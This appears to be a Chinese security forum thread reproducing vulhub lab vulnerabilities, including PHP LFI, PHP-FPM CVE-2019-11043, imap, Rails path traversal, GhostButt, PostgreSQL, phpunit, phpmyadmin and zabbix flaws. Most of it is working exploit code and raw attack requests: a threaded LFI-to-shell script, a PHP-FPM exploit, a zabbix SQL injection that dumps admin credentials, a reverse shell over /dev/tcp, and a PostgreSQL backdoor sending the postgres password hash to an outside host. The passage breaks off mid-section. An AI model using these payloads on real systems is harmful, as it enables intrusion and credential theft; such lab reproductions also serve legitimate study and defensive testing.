        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break               
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
   

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
   
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
   
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
   
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
   
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ""
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
   
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()
```

执行命令:

```
python exp.py 127.0.0.1 8080 100
```

可见,执行到第109个数据包的时候就写入成功。

```
python exp.py 127.0.0.1 8080 100
LFI With PHPInfo()
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Getting initial offset... found [tmp_name] at 127691
Spawning worker pool (100)...
109 /  1000
Got it! Shell created in /tmp/g

Woot!  \m/
Shuttin' down...
                     
```

![image-20211116145140658](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116145140658.png)



进入到docker容器中发现,命令**touch /tmp/g**以及被执行:

```
docker-compose exec php bash                                                                             
root@90029e2a86f5:/var/www/html# ls
lfi.php  phpinfo.php
root@90029e2a86f5:/var/www/html# cd tmp
bash: cd: tmp: No such file or directory
root@90029e2a86f5:/var/www/html# ls /tmp
g
root@90029e2a86f5:/var/www/html#
```

![image-20211116145443726](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116145443726.png)

然后在URL中,利用 lfi.php,即可执行任意命令。

```
http://127.0.0.1:8080/lfi.php?file=/tmp/g&1=system(%27id%27);
```

(PS:不要忘记最后的**引号**)

![image-20211116145835266](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116145835266.png)

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```


# PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

访问地址**127.0.0.1:8080**,得到如下界面:

```
hello world
```

![image-20211116142352753](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116142352753.png)



访问地址127.0.0.1:8080/index.php,得到的页面和上面一样



使用 https://github.com/neex/phuip-fpizdam 中给出的工具,发送数据包:

> 需要先安装golang环境
>
> ```
> sudo apt install golang
> ```
>
>

```
$ go run . "http://127.0.0.1:8080/index.php"
2019/10/23 19:41:00 Base status code is 200
2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate
2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795]
2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect
2019/10/23 19:41:02 Trying to set "session.auto_start=0"...
2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS
2019/10/23 19:41:02 Performing attack using php.ini settings...
2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/23 19:41:02 Trying to cleanup /tmp/a...
2019/10/23 19:41:02 Done!


```

---

也可以运行脚本(Python):

```
import requests

# author:eth10
# 根据GitHub上面的go语言exp,以及攻击数据包写的对应py3 exp
# 随便改一下就可以批量检测了,检测之前最好确认是nginx+linux+php的环境
# url必须是带有php的文件路径,如:http://192.168.1.11/index.php
# 第一次的话在攻击过程中可以利用,但是结束后可能就不稳定了,建议第一次执行完之后,再执行一次稳定后就可以执行命令了。
# 访问即可执行命令:http://192.168.1.11/index.php?a=ifconfig

url = input("URL:")
url = url.strip()

def one():
    tmplist = []
    headers = {"User-Agent": "Mozilla/5.0",
               "D-Pisos": "8=D",
               "Ebut": "mamku tvoyu"
               }
    for i in range(1499, 1900):
        res = requests.get(url + "/PHP%0Ais_the_shittiest_lang.php?" + "Q" * i, headers=headers)
        if res.status_code == 502:
            tmplist.append(i-10)
            tmplist.append(i-5)
            tmplist.append(i)
            print(f"Status code 502 for qsl={tmplist[0]}, adding as a candidate")
            print(f"The target is probably vulnerable. Possible QSLs: {tmplist}")
            break
    return tmplist


def two():
    tmplist = one()
    if len(tmplist) == 0:
        print('暂未发现漏洞')
        return None
    for i in tmplist:
        for j in range(1, 256):
            headers = {
                "User-Agent": "Mozilla/5.0",
                "D-Pisos": f"8{'='*j}D",
                "Ebut": "mamku tvoyu"
            }
            res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=1;;;?" + "Q" * i, headers=headers)
            if "Set-Cookie" in res.headers:
                # print(i, j, res.headers)
                print('Trying to set "session.auto_start=0"...')
                for t in range(50):
                    res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=0;;;?" + "Q" * i, headers=headers)
                print('Performing attack using php.ini settings...')
                count = 0
                for l in range(1000):
                    res = requests.get(
                        url + "/PHP_VALUE%0Ashort_open_tag=1;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i-27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ahtml_errors=0;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ainclude_path=/tmp;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aauto_prepend_file=a;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    # print('auto_prepend_file=a', res.text)
                    res = requests.get(
                        url + "/PHP_VALUE%0Alog_errors=1;;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_reporting=2;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    print(l, 'error_reporting=2', res.content)
                    # if "/usr/bin/which" == res.text
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_log=/tmp/a;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension_dir=%22%3C%3F=%60%22;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27-5),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension=%22$_GET%5Ba%5D%60%3F%3E%22?a=/bin/sh+-c+'which+which'&" + "Q" * (
                                    i - 27 - 5-3),
                        headers=headers)
                    if "HP Warning" in res.text:
                        # print('extension=%22$_GET', res.text)
                        for k in range(5):
                            res = requests.get(
                                url + "/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&" + "Q" * (
                                        i - 97), headers=headers)
                            if "HP Warning" in res.text:
                                # print('a=%3Becho+%27%3C%3Fphp+echo', res.text)
                                break
                break

two()
```



脚本运行后,访问地址**/index.php?a=pwd**

得到如下页面:

```
/var/www/html hello world
```

![image-20211116144330591](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211116144330591.png)

# PHP imap 远程命令执行漏洞(CVE-2018-19518)            

打开后进入如下界面:

是测试一个邮件服务器是否能够成功连接,需要填写服务器地址、用户名和密码。

![image-20211115213831429](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115213831429.png)

点击submit发现无法连接:

![image-20211115214008749](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115214008749.png)

所以,用burpsuite抓包,修改数据包,发送如下数据包即可成功执行命令 **echo '1234567890'>/tmp/test0001**:

```
POST / HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222


```

用命令:

```
docker-compose exec web bash
```

进入到docker容器中,发现命令 **echo '1234567890'>/tmp/test0001**已经被执行:

```
docker-compose exec web bash
root@db213969ea53:/var/www/html# ls
index.php
root@db213969ea53:/var/www/html# ls /tmp
test0001
```

![image-20211115214306685](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211115214306685.png)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-17 22:24:45 | 显示全部楼层
# Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

访问127.0.0.1:3000后,得到如下欢迎页面:

![image-20211117211624537](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117211624537.png)

访问 http://127.0.0.1:3000/robots 可见,正常的 robots.txt 文件被读取出来:

```
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
```

![image-20211117211654098](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117211654098.png)

利用漏洞,发送如下数据包,读取 /etc/passwd:

```
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close


```

![image-20211117213026962](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117213026962.png)

成功读取:

![image-20211117213036194](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117213036194.png)

```
HTTP/1.1 200 OK

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-Download-Options: noopen

X-Permitted-Cross-Domain-Policies: none

Referrer-Policy: strict-origin-when-cross-origin

Content-Type: text/html; charset=utf-8

ETag: W/"f3df8ec25c77cb0e445aab589c5fef4d"

Cache-Control: max-age=0, private, must-revalidate

X-Request-Id: c7080157-b2bd-4eaa-aae0-f9656a761535

X-Runtime: 0.025072

Connection: close

Content-Length: 919



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

```

# Ruby On Rails 路径穿越漏洞(CVE-2018-3760)                  

打开后是这样的一个欢迎的页面:

```
<body>
  <div class="container">
    <section>
      <p>
        <a href="http://rubyonrails.org">
          <img width="130" height="46" alt="Ruby on Rails" border="0" src="data:image/svg+xml;base64,PD94
          -----ER+DBIwoTmPxZANWBUDSrIqxzqwasnTtCk1YNWOdBYz/AETRUioOn4AIc6AA/slkafiIGlWRVgVY51YNWTpQU0E1NWRVgVYNWTQQ50AB/z3//2Q==" />

      <p class="version">
        <strong>Rails version:</strong> 5.0.7<br />
        <strong>Ruby version:</strong> 2.5.1 (x86_64-linux)
      </p>
    </section>
  </div>
</body>
```

![image-20211117210733993](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117210733993.png)

直接访问

```
http://127.0.0.1:3000/assets/file:%2f%2f/etc/passwd
```

将会报错,因为文件 `/etc/passwd` 不在允许的目录中:

```
/etc/passwd is no longer under a load path: /usr/src/blog/app/assets/config, /usr/src/blog/app/assets/images, /usr/src/blog/app/assets/javascripts, /usr/src/blog/app/assets/stylesheets, /usr/src/blog/vendor/assets/javascripts, /usr/src/blog/vendor/assets/stylesheets, /usr/local/bundle/gems/jquery-rails-4.3.3/vendor/assets/javascripts, /usr/local/bundle/gems/coffee-rails-4.2.2/lib/assets/javascripts, /usr/local/bundle/gems/actioncable-5.0.7/lib/assets/compiled, /usr/local/bundle/gems/turbolinks-source-5.2.0/lib/assets/javascripts
```



![image-20211117210930992](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117210930992.png)

我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如 /usr/src/blog/app/assets/images,然后使用 %252e%252e/ 向上一层跳转,最后读取 /etc/passwd:

```
http://127.0.0.1:3000/assets/fil ... 52e%252e/etc/passwd
```

得到如下界面:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

```

![image-20211117211042026](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117211042026.png)

# Python PIL 远程命令执行漏洞(GhostButt)CVE-2017-8291            

首先我们创建一个png文件,写入命令:

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf
```

----

打开后是一个文件上传的页面:

```
    <!doctype html>
    <title>Upload new File</title>
    <h1>Upload new File</h1>
   
   
   
    <form method=post enctype=multipart/form-data>
      <p><input type=file name=file>
         <input type=submit value=Upload>
    </form>
   
```

![image-20211117153935631](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117153935631.png)

将刚刚创建的png文件(在vulhub的靶场里已经存在)上传:

![image-20211117154132059](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117154132059.png)

页面返回如下信息:

```
the image's height : 0, width : 0;
```



![image-20211117154154401](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117154154401.png)

在命令行中输入命令:

```
docker-compose exec web bash
```

进入到docker容器中,发现命令:

```
touch /tmp/aaaaa
```



![image-20211117154730930](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117154730930.png)

已经被执行

![image-20211117154743748](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117154743748.png)

```
docker-compose exec web bash                                       
root@77c85d096a84:/usr/src# ls
app.py  core
root@77c85d096a84:/usr/src# ls /tmp
aaaaa  poc.png
```

----

我们可以将命令:

```
touch /tmp/aaaaa
```

替换为:

```
bash –c "bash –i >& /dev/tcp/192.168.187.129/777 0>&1"
```

然后在命令行下用命令:

```
nc -l -p 777
```

来监听

# PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)            

环境加载完毕后,使用命令:

```
psql --host 127.0.0.1 --username postgres
```

连接数据库(用户名密码为 postgres/postgres)

----

依次执行如下命令:

```
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```

`FROM PROGRAM` 语句将执行命令 id 并将结果保存在 cmd_exec 表中:

```
psql --host 127.0.0.1 --username postgres
Password for user postgres:
psql (14.0 (Debian 14.0-1), server 10.7 (Debian 10.7-1.pgdg90+1))
Type "help" for help.

postgres=# DROP TABLE IF EXISTS cmd_exec;
NOTICE:  table "cmd_exec" does not exist, skipping
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'id';
COPY 1
postgres=# SELECT * FROM cmd_exec;
                               cmd_output                              
------------------------------------------------------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres),103(ssl-cert)
(1 row)


```



![image-20211117153232065](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117153232065.png)

使用命令:

```
\q
```

即可退出数据库

# PostgreSQL 提权漏洞(CVE-2018-1058)            

> PostgreSQL 是一款关系型数据库。其 9.3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。

环境加载完毕之后,使用命令:

```
psql --host 127.0.0.1 --username vulhub
```

并输入密码即可连接到数据库:

```
psql --host 127.0.0.1 --username vulhub
Password for user vulhub:
psql (14.0 (Debian 14.0-1), server 9.6.7)
Type "help" for help.

vulhub=>
```

![image-20211117150908110](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117150908110.png)

执行如下语句后退出:

```
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;


```

然后我在 10.0.0.1 上监听 5433 端口,等待超级用户触发我们留下的这个 “后门”。

(假装自己是超级用户)在靶场机器下,用超级用户的身份执行 pg_dump 命令:

```
docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub
```

导出 vulhub 这个数据库的内容。

执行上述命令的同时,“后门” 已被触发,10.0.0.1 机器上已收到敏感信息

# phpunit 远程代码执行漏洞(CVE-2017-9841)            

打开后是这样的:

```
Forbidden
------------------------------------------------------------------------------------------------
You don't have permission to access this resource.
Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 8080

```

![image-20211117145121170](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117145121170.png)

用burpsuite抓包后,访问地址:

```
http://127.0.0.1:8080/vendor/php ... /PHP/eval-stdin.php
```

然后将PHP代码作为数据包的 POST Body 发送即可代码执行:

```
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; phpMyAdmin=a168f24b032cf1d3edecd14e3b1db184

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 22



<?php phpinfo();?>




```

即可在response中得到phpinfo()函数的信息:

![image-20211117150045444](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211117150045444.png)

# phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)

> phpmyadmin 2.x 版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。



发送如下数据包,即可读取 /etc/passwd:

```
POST /scripts/setup.php HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}


```

回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-11-18 22:28:09 | 显示全部楼层
# Mojarra JSF ViewState 反序列化漏洞            

打开后是这样的:

![image-20211118112116634](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211118112116634.png)

```


# zabbix latest.php SQL注入漏洞(CVE-2016-10134)            

访问 `http://127.0.0.1:8080`,用账号 `guest`(密码为空)登录游客账户。

刚打开是这样的:

![image-20211118211921858](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211118211921858.png)

> Database error
>
> Error connecting to database: php_network_getaddresses: getaddrinfo failed: Name does not resolve

如果需要复现后面的getshell的话需要在靶机的配置文件zabbix_agentd.conf中添加EnableRemoteCommands = 1,过程如下
查看当前运行容器

```
docker ps
```

进入到cve-2016-10134_agent_1(这里的541为对应容器的CONTAINER ID,根据自己电脑修改)

```
docker exec -it 541 /bin/sh
vi /etc/zabbix/zabbix_agentd.conf
```

输入i进行编辑,添加EnableRemoteCommands = 1后按下esc键输入:wq保存并退出


创建一个poc.py文件:

```Python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2016/8/18
# Modified by: Jamin Zhang

import urllib2
import sys, os
import re

def deteck_Sql():
    u'检查是否存在 SQL 注入'
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
            return True


def sql_Inject(sql):
    u'获取特定sql语句内容'
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
        results = result_reg.findall(response)
        if results:
            return results[0]


if __name__ == '__main__':
    # os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 60 + '+'
    print u'\t   Python Zabbix < 3.0.4 SQL 注入 Exploit'
    print '\t    Origin Author: http://www.waitalone.cn/'
    print '\t\t   Modified by: Jamin Zhang'
    print '\t\t   Date: 2016-08-18'
    print '+' + '-' * 60 + '+'
    if len(sys.argv) != 2:
        print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'
        print u'实例: ' + os.path.basename(sys.argv[0]) + ' http://jaminzhang.github.io'
        sys.exit()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    if deteck_Sql():
        print u'Zabbix 存在 SQL 注入漏洞!\n'
        print u'管理员  用户名密码:%s' % sql_Inject(passwd_sql)
        print u'管理员  Session_id:%s' % sql_Inject(session_sql)
    else:
        print u'Zabbix 不存在 SQL 注入漏洞!\n'
```

使用命令:

```
python poc.py http://127.0.0.1
```

即可直接复现该漏洞
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
        <title>JSF 2.0 Hello World Example</title></head><body>
            <h2>JSF 2.0 Hello World Example</h2>
<form id="j_idt6" name="j_idt6" method="post" action="/index.xhtml" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="j_idt6" value="j_idt6" />
<input type="text" name="j_idt6:j_idt7" /><input type="submit" name="j_idt6:j_idt8" value="Hello" />
               <br /><span id="j_idt6:text"></span><input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="H4sIAAAAAAAAAFvzloG1oLiIQTArsSxRr7QkM0fPI7E4wzexgJX91sHDYgkXmRmY3Bi4cvITU9wSk0vyizwZOEsyilKLM/JzUioK7B0YQICnnANICgAxYwmDTHJ+rl5xaZ5eWmJyarGeS2VeYm5msmNySWZ+XjHQLmGEXY5FRYmVPpnFJRWNl2RnHk+cy8zA6MnAUpxZlVpRADK4nAVEVlQAAMo4KduoAAAA" autocomplete="off" />
</form></body>
</html>
```

JSF 的 ViewState 结构如下:

![image-20211118112220171](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211118112220171.png)



根据这个结构,我们使用 ysoserial 的 Jdk7u21 利用链来生成一段合法的 Payload:

```
$ java -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0
```



生成的payload如下:

```
